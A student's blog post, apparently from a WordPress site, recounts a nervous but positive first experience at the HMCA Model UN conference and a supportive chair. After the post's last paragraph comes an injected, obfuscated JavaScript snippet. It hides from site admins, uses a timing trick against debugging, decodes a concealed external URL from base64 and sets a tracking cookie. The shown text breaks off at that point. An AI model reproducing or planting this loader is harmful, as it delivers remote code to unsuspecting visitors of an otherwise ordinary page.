I was  feeling unwell that day, so when HMCA started, I was pretty much nervous. I didn\u2019t know we had to say many fancy words either, and honestly, I missed the briefings. It was clear to say I was baffled that day. Every time we needed to speak, we had to word it certainly. If I wanted to use the restroom, I had to make a point of privilege. There were unmoderated and moderated caucuses, and I spent the first day of HMCA wondering what it was since I wasn\u2019t used to it. Thankfully, my chair Delaney was so sweet about it, and she guided me through the conference. She gave me advice on how to be a more confident speaker and be less nervous and advice on how she got into Harvard. She gave me handy tips and assured me I was not falling behind. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HMCA honestly made me skeptical at first about attending the MUN conference but it was a refreshing experience where I learned new things. Overall it was an excellent first experience, and I wish I could attend it next year as well.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1;
